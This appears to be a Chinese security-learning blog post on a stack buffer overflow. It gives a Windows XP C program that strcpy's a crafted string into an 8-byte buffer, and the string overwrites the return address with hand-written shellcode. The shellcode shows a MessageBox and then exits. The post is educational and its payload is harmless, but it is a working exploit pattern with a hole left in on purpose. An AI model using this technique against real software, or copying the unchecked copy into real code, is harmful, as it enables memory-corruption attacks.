网络安全学习第7篇 - 缓冲区溢出

代码：

 

#include "windows.h"

#include "stdio.h"

#include "string.h"

char name[] = "\x41\x41\x41\x41\x41\x41\x41\x41"  // name[0]~name[7]

  "\x41\x41\x41\x41"                  // EBP

  "\x79\x5b\xe3\x77"                  // Return Address

  "\x83\xEC\x50"                      // sub esp,0x50

  "\x33\xDB"                          // xor ebx,ebx

  "\x53"                              // push ebx

  "\x68\x69\x6E\x67\x20"

  "\x68\x57\x61\x72\x6E"              // push "Warning"

  "\x8B\xC4"                          // mov eax,esp

  "\x53"                              // push ebx

  "\x68\x6F\x20\x20\x20"

  "\x68\x73\x68\x69\x62"

  "\x68\x75\x61\x6E\x67"

  "\x68\xB2\xA9\x20\x68"

  "\x68\xBB\xC6\xCA\xAB"

  "\x68\x20\x62\x79\x20"

  "\x68\xD2\xE7\xB3\xF6"

  "\x68\xB6\xD1\xD5\xBB"               // push "堆栈溢出 by 黄诗博 huangshibo"

  "\x8B\xCC"                           // mov ecx,esp

  "\x53"                               // push ebx

  "\x50"                               // push eax

  "\x51"                               // push ecx

  "\x53"                               // push ebx

  "\xB8\xea\x07\xd5\x77"               

  "\xFF\xD0"                           // call MessageBox

              "\x53"

              "\xB8\xFA\xCA\x81\x7C"

              "\xFF\xD0";                          // call ExitProcess

 

int main()

{

char buffer[8];

LoadLibrary("user32.dll");

strcpy(buffer, name);

printf("%s\n",buffer);

getchar();

return 0;

}

 

解释：使用GBK机内码，x68是push的意思，进栈是先进后出，所以前面的字符后面push进去，汉字使用2个字节，英文1个字节

---

环境是windows xp